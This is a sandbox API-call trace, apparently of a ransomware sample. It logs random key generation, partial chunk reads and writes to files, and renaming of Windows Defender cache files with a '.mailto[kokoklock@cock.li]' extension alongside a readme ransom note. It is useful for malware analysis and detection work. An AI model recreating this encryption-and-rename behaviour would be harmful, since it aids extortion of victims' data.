[0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0xbe9b2a57 [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x3bb3cf9d [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x7334edcb [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x69ca7e83 [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x45872625 [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x7891f34c [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x4db884d0 [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0xd115c31f [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x4897bd81 [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x15adead [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0xc704c906 [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x14a7a07e [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x622bd78a [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x390d60ad [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x6a9adfb1 [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0xa5aa350b [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0xdcf53657 [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0xf458ca13 [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x4c7f032d [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0x893e2678 [0079.409] RtlRandom (in: Seed=0x21abf72c | out: Seed=0x21abf72c) returned 0xaf540a7b [0079.422] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.422] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a60) returned 1 [0079.422] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.422] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.422] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21abf6e0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21abf6e0*=0x4096, lpOverlapped=0x0) returned 1 [0079.426] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34918f8 [0079.426] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34918f8) returned 1 [0079.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.427] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491b00 [0079.427] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34919c0 [0079.427] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34919c0) returned 1 [0079.427] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.427] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.427] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21abf6e0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21abf6e0*=0x4096, lpOverlapped=0x0) returned 1 [0079.427] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.427] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x67f168, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.427] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21abf6e0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21abf6e0*=0x4096, lpOverlapped=0x0) returned 1 [0079.430] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x67f168, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491c40 [0079.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491c40) returned 1 [0079.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491c40 [0079.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34919c0 [0079.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34919c0) returned 1 [0079.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.430] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.430] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21abf6e0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21abf6e0*=0x4096, lpOverlapped=0x0) returned 1 [0079.431] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.431] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xcf9bad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.431] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21abf6e0, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21abf6e0*=0x4096, lpOverlapped=0x0) returned 1 [0079.431] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xcf9bad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.431] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0079.431] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.431] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34919c0 [0079.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34919c0) returned 1 [0079.432] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.432] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34919c0 [0079.432] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491830 [0079.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491830) returned 1 [0079.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0079.432] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21abf6e0, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21abf6e0*=0x4096, lpOverlapped=0x0) returned 1 [0079.432] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.432] WriteFile (in: hFile=0x438, lpBuffer=0x3491b00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21abf73c, lpOverlapped=0x0 | out: lpBuffer=0x3491b00*, lpNumberOfBytesWritten=0x21abf73c*=0x20, lpOverlapped=0x0) returned 1 [0079.433] WriteFile (in: hFile=0x438, lpBuffer=0x3491c40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21abf73c, lpOverlapped=0x0 | out: lpBuffer=0x3491c40*, lpNumberOfBytesWritten=0x21abf73c*=0x20, lpOverlapped=0x0) returned 1 [0079.433] WriteFile (in: hFile=0x438, lpBuffer=0x34919c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21abf73c, lpOverlapped=0x0 | out: lpBuffer=0x34919c0*, lpNumberOfBytesWritten=0x21abf73c*=0x20, lpOverlapped=0x0) returned 1 [0079.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0079.433] WriteFile (in: hFile=0x438, lpBuffer=0x3491c90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x21abf744, lpOverlapped=0x0 | out: lpBuffer=0x3491c90*, lpNumberOfBytesWritten=0x21abf744*=0x8, lpOverlapped=0x0) returned 1 [0079.433] WriteFile (in: hFile=0x438, lpBuffer=0x21abf75c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21abf744, lpOverlapped=0x0 | out: lpBuffer=0x21abf75c*, lpNumberOfBytesWritten=0x21abf744*=0x4, lpOverlapped=0x0) returned 1 [0079.433] WriteFile (in: hFile=0x438, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21abf744, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x21abf744*=0x4, lpOverlapped=0x0) returned 1 [0079.433] WriteFile (in: hFile=0x438, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x21abf744, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x21abf744*=0x6c, lpOverlapped=0x0) returned 1 [0079.433] WriteFile (in: hFile=0x438, lpBuffer=0x3491970*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21abf744, lpOverlapped=0x0 | out: lpBuffer=0x3491970*, lpNumberOfBytesWritten=0x21abf744*=0x20, lpOverlapped=0x0) returned 1 [0079.433] WriteFile (in: hFile=0x438, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x21abf744, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x21abf744*=0x4, lpOverlapped=0x0) returned 1 [0079.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491970) returned 1 [0079.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491bc8) returned 1 [0079.433] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491c90) returned 1 [0079.433] CloseHandle (hObject=0x438) returned 1 [0079.434] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x11a) returned 0x33e20f8 [0079.434] wcscpy (in: _Dest=0x33e20f8, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80" [0079.434] wcscat (in: _Dest=0x33e20f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80.mailto[kokoklock@cock.li].d0e731" [0079.434] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.80"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.80.mailto[kokoklock@cock.li].d0e731")) returned 1 [0079.434] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0079.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e20f8) returned 1 [0079.435] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80", dwFileAttributes=0x20) returned 0 [0079.435] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x8e) returned 0x348c428 [0079.435] wcscpy (in: _Dest=0x348c428, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\" [0079.435] wcscat (in: _Dest=0x348c428, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" [0079.435] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\d0e731-readme.txt")) returned 0x20 [0079.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348c428) returned 1 [0079.435] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347afe0) returned 1 [0079.435] RtlExitUserThread (Status=0x1) Thread: id = 924 os_tid = 0x1574 [0079.424] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.83")) returned 0x820 [0079.431] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83", dwFileAttributes=0x20) returned 1 [0079.436] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.83" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.83"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0079.436] GetFileSizeEx (in: hFile=0x438, lpFileSize=0x21b3fc8c | out: lpFileSize=0x21b3fc8c*=1933112) returned 1 [0079.436] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x1d7f34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.436] ReadFile (in: hFile=0x438, lpBuffer=0x21b3fc60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21b3fc5c, lpOverlapped=0x0 | out: lpBuffer=0x21b3fc60*, lpNumberOfBytesRead=0x21b3fc5c*=0x4, lpOverlapped=0x0) returned 1 [0079.438] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491a60 [0079.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491970 [0079.438] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491bc8 [0079.438] NtQuerySystemTime (in: CurrentTime=0x21b3fc38 | out: CurrentTime=0x21b3fc38*=132121176373292220) returned 0x0 [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xcd09809a [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xf1a34407 [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x3eee5b7f [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x9d4ece65 [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xdf6f441d [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x2eee1905 [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x9b96565b [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xeb7b6fe [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xc4ee5ec3 [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x1184ec0d [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x91c02a10 [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x34e79599 [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xdcd8c7f6 [0079.438] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xcb483fdd [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x60659800 [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x5ab25ffb [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xf684d2ea [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xc7aa91f5 [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xd0f3d529 [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x3e5d1d94 [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x891d335c [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x9655a5a8 [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x82d08af2 [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x2facdcca [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x3fcb3640 [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x2c5d0fcd [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x7e03a719 [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xe64e713b [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x7bfcd2e6 [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xf77e57af [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0x305e5040 [0079.439] RtlRandom (in: Seed=0x21b3fc44 | out: Seed=0x21b3fc44) returned 0xe48d91b9 [0079.453] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.454] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491a60) returned 1 [0079.454] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0079.454] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.454] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21b3fbf8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21b3fbf8*=0x4096, lpOverlapped=0x0) returned 1 [0079.456] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.456] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0079.456] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.456] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34918f8 [0079.456] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34918f8) returned 1 [0079.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491b28 [0079.457] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34919e8 [0079.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34919e8) returned 1 [0079.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.457] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0079.457] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21b3fbf8, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21b3fbf8*=0x4096, lpOverlapped=0x0) returned 1 [0079.458] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.458] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xee292, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.458] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21b3fbf8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21b3fbf8*=0x4096, lpOverlapped=0x0) returned 1 [0079.460] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0xee292, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd358 [0079.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480570 [0079.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491cb8 [0079.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491cb8) returned 1 [0079.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491cb8 [0079.461] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34919e8 [0079.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34919e8) returned 1 [0079.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480570) returned 1 [0079.461] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd358) returned 1 [0079.461] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21b3fbf8, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21b3fbf8*=0x4096, lpOverlapped=0x0) returned 1 [0079.462] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.462] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x1d3ea2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.462] ReadFile (in: hFile=0x438, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x21b3fbf8, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x21b3fbf8*=0x4096, lpOverlapped=0x0) returned 1 [0079.462] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x1d3ea2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd508 [0079.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480408 [0079.462] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34919e8 [0079.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34919e8) returned 1 [0079.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34a2370 [0079.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34919e8 [0079.463] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3491830 [0079.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3491830) returned 1 [0079.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0079.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd508) returned 1 [0079.463] WriteFile (in: hFile=0x438, lpBuffer=0x34a2370*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x21b3fbf8, lpOverlapped=0x0 | out: lpBuffer=0x34a2370*, lpNumberOfBytesWritten=0x21b3fbf8*=0x4096, lpOverlapped=0x0) returned 1 [0079.463] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34a2370) returned 1 [0079.463] WriteFile (in: hFile=0x438, lpBuffer=0x3491b28*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21b3fc54, lpOverlapped=0x0 | out: lpBuffer=0x3491b28*, lpNumberOfBytesWritten=0x21b3fc54*=0x20, lpOverlapped=0x0) returned 1 [0079.464] WriteFile (in: hFile=0x438, lpBuffer=0x3491cb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21b3fc54, lpOverlapped=0x0 | out: lpBuffer=0x3491cb8*, lpNumberOfBytesWritten=0x21b3fc54*=0x20, lpOverlapped=0x0) returned 1 [0079.464] WriteFile (in: hFile=0x438, lpBuffer=0x34919e8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x21b3fc54, lpOverlapped=0x0 | out: lpBuffer=0x34919e8*, lpNumberOfBytesWritten=0x21b3fc54*=0x20, lpOverlapped=0x0) returned 1 [0079.464] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) 